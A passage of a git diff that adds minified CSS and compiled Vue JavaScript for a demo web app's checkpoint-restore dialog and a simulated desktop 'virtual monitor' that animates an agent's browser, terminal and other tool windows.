100644 index 0000000..4eb671a --- /dev/null +++ b/demo/static/dist/assets/VersioningDialog.css @@ -0,0 +1 @@ +.versioning-dialog[data-v-46164e6b]{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1200;background:var(--theme-overlay-scrim);display:flex;align-items:center;justify-content:center;padding:20px;-webkit-backdrop-filter:blur(8px);backdrop-filter:blur(8px)}.versioning-card[data-v-46164e6b]{width:min(1100px,96vw);max-width:96vw;height:min(620px,88vh);max-height:88vh;overflow:hidden;border-radius:16px;background:var(--surface-panel);border:1px solid var(--border-default);box-shadow:var(--theme-shadow-strong);display:flex;flex-direction:column;color:var(--text-primary)}.versioning-header[data-v-46164e6b]{flex:0 0 auto;height:60px;padding:0 18px;border-bottom:1px solid var(--border-default);display:flex;align-items:center;justify-content:space-between;gap:12px}.versioning-header-left[data-v-46164e6b]{display:inline-flex;align-items:center;gap:16px;min-width:0}.versioning-header h3[data-v-46164e6b]{margin:0;font-size:16px;font-weight:700;letter-spacing:-.01em}.versioning-header-actions[data-v-46164e6b]{display:inline-flex;align-items:center;gap:8px}.switch-line[data-v-46164e6b]{display:inline-flex;align-items:center;gap:8px;height:38px;font-size:14px;cursor:pointer;-webkit-user-select:none;user-select:none}.switch-line input[data-v-46164e6b]{position:absolute;opacity:0;width:0;height:0}.switch-line .switch[data-v-46164e6b]{flex:0 0 auto;width:38px;height:22px;border-radius:999px;background:var(--theme-switch-track);position:relative;transition:background .2s ease}.switch-line .switch[data-v-46164e6b]:after{content:"";position:absolute;width:18px;height:18px;border-radius:50%;background:var(--theme-surface-strong);top:2px;left:2px;transition:transform .2s ease}.switch-line input:checked+.switch[data-v-46164e6b]{background:var(--accent-strong)}.switch-line input:checked+.switch[data-v-46164e6b]:after{transform:translate(16px)}.switch-line input:disabled+.switch[data-v-46164e6b]{opacity:.5}.switch-text[data-v-46164e6b]{white-space:nowrap}.scope-line[data-v-46164e6b]{display:inline-flex;align-items:center;gap:8px;font-size:13px;color:var(--text-secondary)}.scope-label[data-v-46164e6b]{white-space:nowrap}.scope-select[data-v-46164e6b]{position:relative}.scope-select-button[data-v-46164e6b]{height:32px;display:inline-flex;align-items:center;gap:8px;padding:0 10px;border:1px solid var(--border-default);border-radius:9px;background:transparent;color:var(--text-primary);font-size:13px;cursor:pointer;transition:background .14s ease,border-color .14s ease}.scope-select-button[data-v-46164e6b]:hover:not(:disabled){background:var(--theme-tab-active)}.scope-select.disabled .scope-select-button[data-v-46164e6b],.scope-select-button[data-v-46164e6b]:disabled{opacity:.5;cursor:not-allowed}.scope-select-value[data-v-46164e6b]{white-space:nowrap}.scope-chevron[data-v-46164e6b]{width:10px;height:10px;flex:0 0 auto;position:relative}.scope-chevron[data-v-46164e6b]:before{content:"";position:absolute;top:1px;left:1px;width:6px;height:6px;border-right:1.5px solid var(--text-secondary);border-bottom:1.5px solid var(--text-secondary);transform:rotate(45deg);transition:transform .16s ease}.scope-select.open .scope-chevron[data-v-46164e6b]:before{transform:rotate(-135deg);top:4px}.scope-menu[data-v-46164e6b]{position:absolute;top:calc(100% + 6px);left:0;min-width:100%;width:max-content;z-index:20;padding:6px;border:1px solid var(--border-default);border-radius:12px;background:var(--theme-surface-strong);box-shadow:var(--theme-shadow-soft);display:flex;flex-direction:column;gap:2px}.scope-menu-option[data-v-46164e6b]{height:36px;display:flex;align-items:center;justify-content:space-between;gap:12px;padding:0 10px;border:0;border-radius:9px;background:transparent;color:var(--text-primary);font-size:13px;text-align:left;cursor:pointer;white-space:nowrap;transition:background .14s ease}.scope-menu-option[data-v-46164e6b]:hover:not(:disabled){background:var(--theme-tab-active)}.scope-menu-option.disabled[data-v-46164e6b],.scope-menu-option[data-v-46164e6b]:disabled{opacity:.45;cursor:not-allowed}.scope-option-check[data-v-46164e6b]{flex:0 0 auto;color:var(--text-secondary)}.refresh-btn[data-v-46164e6b]{height:32px;display:inline-flex;align-items:center;gap:6px;padding:0 12px;border:1px solid var(--border-default);border-radius:9px;background:transparent;color:var(--text-primary);font-size:13px;cursor:pointer;transition:background .14s ease}.refresh-btn[data-v-46164e6b]:hover:not(:disabled){background:var(--theme-tab-active)}.refresh-btn[data-v-46164e6b]:disabled{opacity:.5;cursor:not-allowed}.icon-close-btn[data-v-46164e6b]{width:32px;height:32px;display:grid;place-items:center;border:0;border-radius:9px;background:transparent;color:var(--text-secondary);cursor:pointer;transition:background .14s ease,color .14s ease}.icon-close-btn[data-v-46164e6b]:hover{background:var(--theme-tab-active);color:var(--text-primary)}.versioning-body[data-v-46164e6b]{display:grid;grid-template-columns:360px minmax(0,1fr);min-height:0;flex:1 1 auto}.scroll-area[data-v-46164e6b]{overflow-y:auto;overflow-x:hidden;scrollbar-width:none;-ms-overflow-style:none}.scroll-area[data-v-46164e6b]::-webkit-scrollbar{width:0;height:0}.checkpoint-list[data-v-46164e6b]{border-right:1px solid var(--border-default);padding:6px 8px;display:flex;flex-direction:column;gap:2px}.checkpoint-item[data-v-46164e6b]{width:100%;height:78px;flex:0 0 78px;box-sizing:border-box;text-align:left;border:0;border-radius:10px;padding:0 12px;background:transparent;color:var(--text-primary);cursor:pointer;overflow:hidden;display:flex;flex-direction:column;justify-content:center;gap:5px;transition:background .14s ease}.checkpoint-item[data-v-46164e6b]:hover,.checkpoint-item.active[data-v-46164e6b]{background:var(--theme-tab-active)}.checkpoint-item.active[data-v-46164e6b]{position:relative}.checkpoint-item.active[data-v-46164e6b]:before{content:"";position:absolute;left:4px;top:16px;bottom:16px;width:3px;border-radius:999px;background:var(--text-secondary)}.row[data-v-46164e6b]{display:flex;align-items:center;justify-content:space-between;gap:8px}.row.top[data-v-46164e6b]{font-size:12px;color:var(--text-secondary)}.seq[data-v-46164e6b]{font-weight:700;color:var(--text-primary)}.preview[data-v-46164e6b]{font-size:13px;line-height:1.3;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.row.stats[data-v-46164e6b]{font-size:12px}.plus[data-v-46164e6b]{color:var(--state-success)}.minus[data-v-46164e6b]{color:var(--state-danger)}.files[data-v-46164e6b]{color:var(--text-secondary)}.checkpoint-detail[data-v-46164e6b]{padding:14px 16px;min-width:0;overflow-x:hidden}.checkpoint-detail h4[data-v-46164e6b]{margin:0 0 10px;font-size:14px;font-weight:700}.summary[data-v-46164e6b]{display:flex;gap:12px;font-size:13px;margin-bottom:12px}.file-list[data-v-46164e6b]{display:flex;flex-direction:column;width:100%;min-width:0}.file-row[data-v-46164e6b]{display:grid;grid-template-columns:52px 1fr auto;gap:10px;align-items:center;min-height:40px;border-bottom:1px solid var(--border-default);padding:0 4px;font-size:13px;cursor:pointer;border-radius:8px;transition:background .14s ease}.file-row[data-v-46164e6b]:hover,.file-row.expanded[data-v-46164e6b]{background:var(--theme-tab-active)}.status[data-v-46164e6b]{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace;color:var(--text-secondary)}.path[data-v-46164e6b]{word-break:break-all;color:var(--text-primary)}.delta[data-v-46164e6b]{display:inline-flex;gap:8px}.loading[data-v-46164e6b],.empty[data-v-46164e6b]{color:var(--text-secondary);font-size:13px;padding:12px 4px}.versioning-footer[data-v-46164e6b]{flex:0 0 auto;min-height:60px;padding:12px 18px;border-top:1px solid var(--border-default);display:flex;align-items:center;gap:16px;justify-content:flex-end}.restore-options[data-v-46164e6b]{display:flex;align-items:center;gap:20px;margin-right:auto}.restore-option-group[data-v-46164e6b]{display:flex;align-items:center;gap:10px}.restore-option-label[data-v-46164e6b]{font-size:13px;color:var(--text-secondary);white-space:nowrap}.restore-option-buttons[data-v-46164e6b]{display:flex;align-items:center;gap:6px}.restore-option-btn[data-v-46164e6b]{height:32px;padding:0 12px;border:1px solid var(--border-default);border-radius:9px;background:transparent;color:var(--text-primary);font-size:13px;cursor:pointer;white-space:nowrap;transition:background .14s ease,border-color .14s ease,color .14s ease}.restore-option-btn[data-v-46164e6b]:hover:not(:disabled){background:var(--theme-tab-active)}.restore-option-btn.active[data-v-46164e6b]{border-color:var(--accent);background:var(--accent);color:var(--on-accent)}.restore-option-btn[data-v-46164e6b]:disabled{opacity:.5;cursor:not-allowed}.restore-option-btn.disabled[data-v-46164e6b]{opacity:.5;cursor:not-allowed}.confirm-btn[data-v-46164e6b]{height:38px;border:0;border-radius:10px;padding:0 18px;font-size:14px;font-weight:600;background:var(--accent);color:var(--on-accent);cursor:pointer;transition:background .14s ease}.confirm-btn[data-v-46164e6b]:hover:not(:disabled){background:var(--accent-hover)}.confirm-btn[data-v-46164e6b]:disabled{opacity:.5;cursor:not-allowed}.tool-result-diff[data-v-46164e6b]{margin-top:10px;font-family:Monaco,Menlo,Consolas,monospace;font-size:12px;line-height:1.5;width:100%;min-width:0;box-sizing:border-box}.tool-result-diff.scroll-area[data-v-46164e6b]{max-height:calc(12em + 16px);border:1px solid var(--border-default);border-radius:8px;padding:8px;background:var(--theme-surface-soft);overflow-x:auto}.diff-line[data-v-46164e6b]{display:grid;grid-template-columns:1.5ch minmax(0,1fr);column-gap:6px;padding:2px 4px;margin:0;align-items:start;white-space:pre;min-width:0}.diff-marker[data-v-46164e6b]{color:var(--text-secondary);text-align:center;-webkit-user-select:none;user-select:none}.diff-content[data-v-46164e6b]{min-width:0;white-space:pre-wrap;word-wrap:break-word}.diff-remove[data-v-46164e6b]{background:var(--diff-del-bg);color:var(--state-danger)}.diff-add[data-v-46164e6b]{background:var(--diff-add-bg);color:var(--state-success)}.diff-context[data-v-46164e6b]{background:transparent;color:var(--text-secondary)}.approval-note[data-v-46164e6b]{padding:6px 8px;font-size:11px;color:var(--text-secondary)}@media (max-width: 860px){.versioning-body[data-v-46164e6b]{grid-template-columns:1fr;grid-template-rows:1fr 1fr}.checkpoint-list[data-v-46164e6b]{border-right:none;border-bottom:1px solid var(--border-default)}} diff --git a/demo/static/dist/assets/VersioningDialog.js b/demo/static/dist/assets/VersioningDialog.js new file mode 100644 index 0000000..ce62f2f --- /dev/null +++ b/demo/static/dist/assets/VersioningDialog.js @@ -0,0 +1,2 @@ +import{d as B,w as N,b as a,c as d,g as e,t as i,y as $,F as r,r as v,n as c,f as g,A as D,l as F,k as L}from"./runtime-dom.esm-bundler.js";import{_ as A}from"./_plugin-vue_export-helper.js";const V={class:"versioning-header"},z={class:"versioning-header-left"},E={class:"switch-line"},K=["checked","disabled"],I={class:"switch-text"},R={class:"versioning-header-actions"},T=["disabled"],U={class:"versioning-body"},j={class:"checkpoint-list scroll-area"},G=["onClick"],H={class:"row top"},J={class:"seq"},O={class:"time"},P={class:"preview"},Q={class:"row stats"},W={class:"plus"},X={class:"minus"},Y={class:"files"},Z={key:0,class:"empty"},x={class:"checkpoint-detail scroll-area"},ee={key:0,class:"loading"},se={class:"summary"},te={class:"plus"},oe={class:"minus"},ne={class:"files"},ie={class:"file-list"},ae=["onClick"],de={class:"status"},le={class:"path"},re={class:"delta"},ce={class:"plus"},ue={class:"minus"},he={key:0,class:"tool-result-diff scroll-area versioning-diff"},me={key:0,class:"empty"},ve={class:"diff-marker"},ge={class:"diff-content"},pe={key:1,class:"approval-note"},be={key:2,class:"empty"},ye={class:"versioning-footer"},ke={class:"restore-options"},$e={class:"restore-option-group"},_e={class:"restore-option-buttons"},fe=["disabled"],Ce=["disabled"],we={class:"restore-option-group"},Se={class:"restore-option-buttons"},qe=["disabled"],Me=["disabled"],Be=["disabled"],Ne=B({__name:"VersioningDialog",props:{hostMode:{type:Boolean},enabled:{type:Boolean},loading:{type:Boolean},items:{},selectedSeq:{},detail:{},detailLoading:{type:Boolean},restoring:{type:Boolean},restoreMode:{},trackingMode:{},iconStyle:{type:Function}},emits:["close","refresh","toggle-enabled","select","confirm","update:restore-mode","update:tracking-mode"],setup(n,{emit:De}){const h=n,p=s=>h.iconStyle?h.iconStyle(s):{},_=F(()=>[...Array.isArray(h.items)?h.items:[]].sort((t,o)=>Number((t==null?void 0:t.seq)||0)-Number((o==null?void 0:o.seq)||0))),m=L(null),b=(s,t)=>`${(s==null?void 0:s.status)||""}:${(s==null?void 0:s.old_path)||""}:${(s==null?void 0:s.path)||""}:${t}`,f=(s,t)=>{const o=b(s,t);m.value=m.value===o?null:o},y=(s,t)=>m.value===b(s,t);N(()=>{var s;return(s=h.detail)==null?void 0:s.seq},()=>{m.value=null});const C=s=>{if(!s)return"-";try{return new Date(s).toLocaleString("zh-CN",{month:"2-digit",day:"2-digit",hour:"2-digit",minute:"2-digit"})}catch{return s}},w=s=>({added:"A",modified:"M",deleted:"D",renamed:"R"})[String(s||"").toLowerCase()]||String(s||"").toUpperCase().slice(0,1),S=s=>s==null?[""]:String(s).split(` +`);return(s,t)=>(a(),d("div",{class:"versioning-dialog",onClick:t[9]||(t[9]=D(o=>s.$emit("close"),["self"]))},[e("div",{class:"versioning-card",onClick:t[8]||(t[8]=(...o)=>s.closeScopeMenu&&s.closeScopeMenu(...o))},[e("header",V,[e("div",z,[t[11]||(t[11]=e("h3",null,"版本管理",-1)),e("label",E,[e("input",{type:"checkbox",checked:n.enabled,disabled:n.loading,onChange:t[0]||(t[0]=o=>s.$emit("toggle-enabled",o.target.checked))},null,40,K),t[10]||(t[10]=e("span",{class:"switch"},null,-1)),e("span",I,i(n.enabled?"开启":"关闭"),1)])]),e("div",R,[e("button",{type:"button",class:"refresh-btn",disabled:n.loading,onClick:t[1]||(t[1]=o=>s.$emit("refresh"))},[e("span",{class:"icon icon-sm",style:$(p("refreshCw")),"aria-hidden":"true"},null,4),t[12]||(t[12]=e("span",null,"刷新",-1))],8,T),e("button",{type:"button",class:"icon-close-btn","aria-label":"关闭",onClick:t[2]||(t[2]=o=>s.$emit("close"))},[e("span",{class:"icon icon-sm",style:$(p("x")),"aria-hidden":"true"},null,4)])])]),e("div",U,[e("aside",j,[(a(!0),d(r,null,v(_.value,o=>(a(),d("button",{key:o.seq,type:"button",class:c(["checkpoint-item",{active:Number(n.selectedSeq)===Number(o.seq)}]),onClick:l=>s.$emit("select",o.seq)},[e("div",H,[e("span",J,"#"+i(o.seq),1),e("span",O,i(C(o.timestamp)),1)]),e("div",P,i(o.message_preview||"(空消息)"),1),e("div",Q,[e("span",W,"+"+i(o.insertions||0),1),e("span",X,"-"+i(o.deletions||0),1),e("span",Y,i(o.files_changed||0)+" 文件",1)])],10,G))),128)),n.items.length?g("",!0):(a(),d("div",Z,"暂无版本点"))]),e("section",x,[n.detailLoading?(a(),d("div",ee,"加载详情中...")):n.detail?(a(),d(r,{key:1},[e("h4",null,"提交详情 #"+i(n.detail.seq),1),e("div",se,[e("span",te,"+"+i(n.detail.insertions||0),1),e("span",oe,"-"+i(n.detail.deletions||0),1),e("span",ne,i(n.detail.files_changed||0)+" 文件",1)]),e("div",ie,[(a(!0),d(r,null,v(n.detail.files||[],(o,l)=>(a(),d(r,{key:`${o.status}:${o.path}:${l}`},[e("div",{class:c(["file-row",{expanded:y(o,l)}]),onClick:u=>f(o,l)},[e("span",de,i(w(o.status)),1),e("span",le,i(o.path),1),e("span",re,[e("span",ce,"+"+i(o.insertions||0),1),e("span",ue,"-"+i(o.deletions||0),1)])],10,ae),y(o,l)?(a(),d("div",he,[(o.patch_lines||[]).length?g("",!0):(a(),d("div",me,"暂无可展示的文本变更行")),(a(!0),d(r,null,v(o.patch_lines||[],(u,k)=>(a(),d(r,{key:`line:${l}:${k}`},[(a(!0),d(r,null,v(S(u.content),(q,M)=>(a(),d("div",{key:`line:${l}:${k}:${M}`,class:c(["diff-line",u.type==="add"?"diff-add":u.type==="remove"?"diff-remove":"diff-context"])},[e("span",ve,i(u.type==="add"?"+":u.type==="remove"?"-":" "),1),e("span",ge,i(q),1)],2))),128))],64))),128)),o.patch_truncated?(a(),d("div",pe,"内容过长,已截断展示")):g("",!0)])):g("",!0)],64))),128))])],64)):(a(),d("div",be,"请选择一个版本点查看详情"))])]),e("footer",ye,[e("div",ke,[e("div",$e,[t[13]||(t[13]=e("span",{class:"restore-option-label"},"回溯范围",-1)),e("div",_e,[e("button",{type:"button",class:c(["restore-option-btn",{active:n.trackingMode==="conversation_only"}]),disabled:n.restoring,onClick:t[3]||(t[3]=o=>s.$emit("update:tracking-mode","conversation_only"))}," 仅回溯对话 ",10,fe),e("button",{type:"button",class:c(["restore-option-btn",{active:n.trackingMode==="workspace_and_conversation",disabled:!n.hostMode}]),disabled:n.restoring||!n.hostMode,onClick:t[4]||(t[4]=o=>s.$emit("update:tracking-mode","workspace_and_conversation"))}," 回溯对话和工作区 ",10,Ce)])]),e("div",we,[t[14]||(t[14]=e("span",{class:"restore-option-label"},"回溯模式",-1)),e("div",Se,[e("button",{type:"button",class:c(["restore-option-btn",{active:n.restoreMode==="overwrite"}]),disabled:n.restoring,onClick:t[5]||(t[5]=o=>s.$emit("update:restore-mode","overwrite"))}," 覆盖当前对话 ",10,qe),e("button",{type:"button",class:c(["restore-option-btn",{active:n.restoreMode==="copy"}]),disabled:n.restoring,onClick:t[6]||(t[6]=o=>s.$emit("update:restore-mode","copy"))}," 复制对话 ",10,Me)])])]),e("button",{type:"button",class:"confirm-btn",disabled:!n.enabled||n.selectedSeq===null||n.selectedSeq===void 0||n.restoring,onClick:t[7]||(t[7]=o=>s.$emit("confirm"))},i(n.restoring?"回溯中...":"确认回溯"),9,Be)])])]))}}),Ae=A(Ne,[["__scopeId","data-v-46164e6b"]]);export{Ae as default}; diff --git a/demo/static/dist/assets/VirtualMonitorSurface.js b/demo/static/dist/assets/VirtualMonitorSurface.js new file mode 100644 index 0000000..aa421a2 --- /dev/null +++ b/demo/static/dist/assets/VirtualMonitorSurface.js @@ -0,0 +1,11 @@ +var je=Object.defineProperty;var ye=(O,e,t)=>e in O?je(O,e,{enumerable:!0,configurable:!0,writable:!0,value:t}):O[e]=t;var g=(O,e,t)=>ye(O,typeof e!="symbol"?e+"":e,t);import{g as re,u as Xe,s as Ye}from"./main.js";import{d as Ge,o as Ke,w as Ze,a as Je,b as Re,c as Fe,g as h,t as Ae,u as We,f as Qe,p as se,l as et,k as v,N as tt}from"./runtime-dom.esm-bundler.js";import"./_plugin-vue_export-helper.js";import"./useMarkdownRenderer.js";import"./FancyCheck.js";const K=360,De=2e3,_e=4e3,He=180,st=34,nt=26,it=30,rt=32,W=(...O)=>{},Y=(...O)=>{},D=(...O)=>{},ie=(...O)=>{},y=(...O)=>{},V=(...O)=>{console.warn("[TerminalMenu]",...O)},ot=[{id:"browser",label:"浏览器",assetKey:"browser"},{id:"terminal",label:"终端",assetKey:"terminal"},{id:"command",label:"命令行",assetKey:"command"},{id:"python",label:"Python",assetKey:"python"},{id:"memory",label:"记忆",assetKey:"memory"},{id:"todo",label:"待办事项",assetKey:"todo"},{id:"subagent",label:"子代理",assetKey:"subagent"}],U=18,Z=120,lt=5,X={x:8,y:6},J=12,Oe=26,Ne=24,oe=32,ze="manual-interactive",Ve="终端",u=O=>new Promise(e=>setTimeout(e,O));class ct{constructor(e,t){g(this,"elements");g(this,"assets");g(this,"desktopRoots",[]);g(this,"screenRect");g(this,"pointerBase",{x:60,y:120});g(this,"pendingPointerTransform",null);g(this,"screenObserver",null);g(this,"bubbleTimer",null);g(this,"windowAnchors",new Map);g(this,"destroyFns",[]);g(this,"appIcons",new Map);g(this,"folderIcons",new Map);g(this,"editorSpeedBoost",1);g(this,"pythonRunToken",0);g(this,"pendingDesktopFolders",new Set);g(this,"pendingCreateEntries",new Set);g(this,"fileIcons",new Map);g(this,"browserResultMap",new Map);g(this,"folderEntries",new Map);g(this,"activeFolder",null);g(this,"sceneHandlers",{});g(this,"windowOrder",[]);g(this,"maxVisibleWindows",lt);g(this,"extractionAnchor",{x:.6,y:.04});g(this,"extractionWindows",new Map);g(this,"extractionTemplate",null);g(this,"terminalSessions",new Map);g(this,"terminalSessionTitleMap",new Map);g(this,"terminalRawNameMap",new Map);g(this,"terminalSessionNames",new Map);g(this,"terminalHistories",new Map);g(this,"terminalContextSessionId",null);g(this,"activeTerminalSessionId",null);g(this,"manualInteractionEnabled",!1);g(this,"manualListenersAttached",!1);g(this,"manualPositions",new Map);g(this,"manualDragState",null);g(this,"editorScene",{lines:[],placeholder:!1});g(this,"editorSnapshots",new Map);g(this,"commandCurrentText","");g(this,"progressBubbleTimer",null);g(this,"progressBubbleBase",null);g(this,"progressSceneName",null);g(this,"latestMemoryScroll",0);g(this,"desktopRenderLocked",!1);g(this,"pendingDesktopRoots",null);g(this,"thinkingBubbleTimer",null);g(this,"thinkingBubblePhase",0);g(this,"waitingBubbleTimer",null);g(this,"waitingBubbleBase",null);g(this,"progressBubbleActive",!1);g(this,"secondaryMenu",null);g(this,"waitDigits",[]);g(this,"waitOverlayTimer",null);g(this,"playbackLagging",!1);g(this,"latestPythonExecutionId",null);g(this,"lastTerminalSessionId",null);g(this,"terminalLastFocusedAt",0);g(this,"handleTerminalAddClick",e=>{if(!this.manualInteractionEnabled)return;e.preventDefault();const t=this.createSession();this.activateSession(t)});g(this,"handleTerminalTabClick",e=>{var n;if(!this.manualInteractionEnabled)return;const t=(n=e.target)==null?void 0:n.closest(".terminal-tab");if(!t||t.classList.contains("add-tab"))return;const s=t.getAttribute("data-session-id");s&&(e.preventDefault(),this.activateSession(s))});g(this,"handleTerminalTabContext",e=>{var o;if(!this.manualInteractionEnabled)return;const t=(o=e.target)==null?void 0:o.closest(".terminal-tab");if(!t||t.classList.contains("add-tab"))return;const s=t.getAttribute("data-session-id");if(!s)return;e.preventDefault(),this.terminalContextSessionId=s;const n=this.elements.screen.getBoundingClientRect(),i=e.clientX-n.left,r=e.clientY-n.top;this.showContextMenu("terminal",{x:i,y:r})});g(this,"handleTerminalMenuClick",e=>{if(!this.manualInteractionEnabled)return;const t=e.target;if(!t||t.tagName.toLowerCase()!=="button")return;const s=t.getAttribute("data-action"),n=this.terminalContextSessionId||this.activeTerminalSessionId;if(!s||!n){this.hideContextMenus();return}e.preventDefault(),s==="snapshot"?(this.appendTerminalNote(n,"[Snapshot Captured]"),this.ensurePromptLine(n)):s==="reset"?(this.terminalHistories.set(n,[{text:"➜ ",role:"prompt"}]),this.renderTerminalHistory(n),this.appendTerminalNote(n,"终端已重置"),this.ensurePromptLine(n)):s==="close"&&this.closeTerminalSession(n),this.hideContextMenus()});g(this,"handleManualPointerDown",e=>{if(!this.manualInteractionEnabled)return;const t=e.target||null;if(!t||t.closest(".traffic-dot"))return;const s=t.closest(".window-header");if(!s)return;const n=s.closest(".window");!n||!n.classList.contains("visible")||(e.preventDefault(),this.beginManualDrag(n,e))});g(this,"handleManualPointerMove",e=>{!this.manualInteractionEnabled||!this.manualDragState||e.pointerId===this.manualDragState.pointerId&&(e.preventDefault(),this.updateManualDragPosition(e))});g(this,"handleManualPointerUp",e=>{if(!this.manualDragState||e.pointerId!==this.manualDragState.pointerId)return;const{target:t,pointerId:s}=this.manualDragState;t&&t.hasPointerCapture(s)&&t.releasePointerCapture(s),t==null||t.classList.remove("manual-dragging"),this.manualDragState=null});g(this,"handleManualCloseClick",e=>{if(!this.manualInteractionEnabled)return;const t=e.target||null;if(!t)return;const s=t.closest(".traffic-dot.red");if(!s)return;const n=s.closest(".window");if(n){if(e.preventDefault(),e.stopPropagation(),this.manualPositions.delete(n),this.cancelManualDrag(),this.closeWindow(n,{animate:!0}),this.windowOrder=this.windowOrder.filter(i=>i&&i!==n&&i.classList.contains("visible")),n===this.elements.terminalWindow){this.activeTerminalSessionId=null;return}n.dataset.extractId&&this.purgeExtractionWindowByElement(n)}});this.elements=e,this.assets=t,this.screenRect=e.screen.getBoundingClientRect(),this.setupAnchors(),this.setupScenes(),this.bindTerminalInteractions(),this.populateDesktop(),this.setupScreenObserver(),this.extractionAnchor=this.windowAnchors.get(this.elements.extractionWindow)||this.extractionAnchor,this.prepareExtractionTemplate(),this.layoutFloatingWindows(),window.__TERMINAL_MENU_DEBUG_BUILD="2025-12-13-1",V("constructor:init",{build:window.__TERMINAL_MENU_DEBUG_BUILD});const s=()=>{this.refreshScreenRect(),this.layoutFloatingWindows(),this.flushPendingPointerTransform()};window.addEventListener("resize",s,{passive:!0}),this.destroyFns.push(()=>window.removeEventListener("resize",s))}refreshScreenRect(){const e=this.screenRect,t=this.elements.screen.getBoundingClientRect();if(!(t.width<1||t.height<1)&&(this.screenRect=t,e&&e.width>0&&e.height>0)){const s=this.pointerBase.x/e.width,n=this.pointerBase.y/e.height;this.pointerBase={x:s*t.width,y:n*t.height}}}applySceneStatus(e,t,s){if(!e||typeof e.setStatus!="function")return;const n=re(t)||s;try{e.setStatus(n)}catch(i){console.warn("[MonitorDirector] failed to set scene status",t,i)}}destroy(){this.setManualInteractionEnabled(!1),this.destroyFns.forEach(e=>e()),this.destroyFns=[],this.stopBubbleTimers()}resetScene(e){this.pendingPointerTransform=null;const t=!!(e!=null&&e.preserveWindows),s=(e==null?void 0:e.preservePointer)!==!1;this.cancelManualDrag(),t?this.windowOrder=this.windowOrder.filter(n=>n&&n.classList.contains("visible")):(this.resetManualPositions(),this.manualPositions.clear(),this.hideAllWindows(),this.activeFolder=null,this.refreshFolderIconStates()),this.hideContextMenus(),e!=null&&e.preserveBubble?this.stopBubbleTimers():this.dismissBubble(!0,{force:!0}),s||(this.pointerBase={x:60,y:120},this.elements.mousePointer.style.transform="translate3d(60px, 120px, 0)"),t||(this.elements.browserSearchText.textContent="",this.elements.browserStatus.textContent="准备搜索...",this.elements.browserResults.innerHTML="",this.browserResultMap.clear(),this.elements.extractionSummary.innerHTML="",this.elements.extractionState.textContent="等待提取",this.elements.folderBody.innerHTML="",this.elements.editorBody.innerHTML="",this.elements.terminalBody.innerHTML="",this.terminalHistories.clear(),this.terminalSessions.clear(),this.terminalSessionNames.clear(),this.terminalSessionTitleMap.clear(),this.terminalContextSessionId=null,this.activeTerminalSessionId=null,this.terminalLastFocusedAt=0,this.elements.readerLines.innerHTML="",this.elements.readerOcr.innerHTML="",this.elements.todoSummary.textContent="",this.elements.todoList.innerHTML="",this.folderIcons.clear(),this.fileIcons.clear()),Array.isArray(e==null?void 0:e.desktopRoots)&&(e!=null&&e.desktopRoots.length)?this.setDesktopRoots(e.desktopRoots,{immediate:!0}):this.desktopRoots.length&&this.setDesktopRoots(this.desktopRoots,{immediate:!0}),this.renderTerminalTabs()}setDesktopRoots(e,t){if(this.desktopRenderLocked){this.pendingDesktopRoots=Array.isArray(e)?[...e]:[],y("setDesktopRoots:locked",{pending:this.pendingDesktopRoots.length});return}const s=Array.isArray(e)?[...e]:[],n=[...this.desktopRoots];if(this.desktopRoots=s,!this.desktopRoots.length)this.folderEntries.clear();else{const i=new Map;this.folderEntries.forEach((r,o)=>{const l=o.split("/")[0];this.desktopRoots.includes(l)&&i.set(o,r)}),this.desktopRoots.forEach(r=>{i.has(r)||i.set(r,[])}),this.folderEntries=i}if(t!=null&&t.immediate)this.pendingDesktopFolders.clear();else{const i=new Set(n);this.desktopRoots.forEach(r=>{if(!i.has(r)){const o=this.folderIcons.get(r);if(o&&!o.classList.contains("pending-reveal"))return;this.pendingDesktopFolders.add(r)}}),Array.from(this.pendingDesktopFolders).forEach(r=>{this.desktopRoots.includes(r)||this.pendingDesktopFolders.delete(r)})}this.renderDesktopFolders(),this.refreshFolderIconStates()}setManualInteractionEnabled(e){if(e!==this.manualInteractionEnabled){if(e){this.manualInteractionEnabled=!0,this.elements.screen.classList.add(ze),this.bindManualInteractionListeners();return}this.manualInteractionEnabled=!1,this.elements.screen.classList.remove(ze),this.cancelManualDrag(),this.unbindManualInteractionListeners()}}showSpeechBubble(e,t={}){const{variant:s="info",iconSvg:n=null,icon:i=null,duration:r}=t,o=typeof r=="number"?r:0;this.dismissBubble(!0,{force:!0});const l=this.elements.speechBubble;if(l.classList.remove("thinking","error","info"),l.classList.add(s),this.elements.bubbleTextSlot.textContent=e,this.elements.bubbleIconSlot.innerHTML="",s==="thinking"&&n){const c=document.createElement("img");c.src=n,c.alt="",this.elements.bubbleIconSlot.appendChild(c),this.elements.bubbleIconSlot.classList.add("show")}else s==="error"&&i?(this.elements.bubbleIconSlot.textContent=i,this.elements.bubbleIconSlot.classList.add("show")):this.elements.bubbleIconSlot.classList.remove("show");this.positionBubble(),requestAnimationFrame(()=>{l.classList.add("visible"),l.style.visibility="visible"}),this.elements.bubbleTextSlot.scrollTop=this.elements.bubbleTextSlot.scrollHeight,this.stopBubbleTimers(),o>0&&(this.bubbleTimer=window.setTimeout(()=>{l.classList.remove("visible"),l.style.visibility=""},o))}showThinkingBubble(){this.stopBubbleTimers(),this.dismissBubble(!0,{force:!0});const e=this.elements.speechBubble;e.classList.remove("error","thinking","progress"),e.classList.add("info"),this.elements.bubbleIconSlot.classList.remove("show"),this.elements.bubbleIconSlot.innerHTML="",this.startThinkingBubble("思考中"),this.positionBubble(),requestAnimationFrame(()=>{e.classList.add("visible"),e.style.visibility="visible"})}hideBubble(){this.dismissBubble(!0,{force:!0})}previewSceneProgress(e){this.stopProgressBubble();const t=re(e);t&&(this.progressSceneName=e,this.startProgressBubble(t))}async playScene(e,t,s){var S,I,P,L,E,R,_,A,H,$,C;const n=this.sceneHandlers[e]||this.sceneHandlers.genericTool,i=re(e),r=!!this.progressBubbleBase&&this.progressSceneName===e,o=(s==null?void 0:s.statusPhase)==="playback",l=s.waitForResult||(()=>Promise.resolve(null));let c=!1,a=null;const m=async B=>(c||(c=!0,a=await l(B)),a),d=String((t==null?void 0:t.status)||((S=t==null?void 0:t.result)==null?void 0:S.status)||"").toLowerCase(),w=["failed","error"].includes(d)||(t==null?void 0:t.error)||(t==null?void 0:t.success)===!1||((I=t==null?void 0:t.result)==null?void 0:I.success)===!1||typeof((P=t==null?void 0:t.result)==null?void 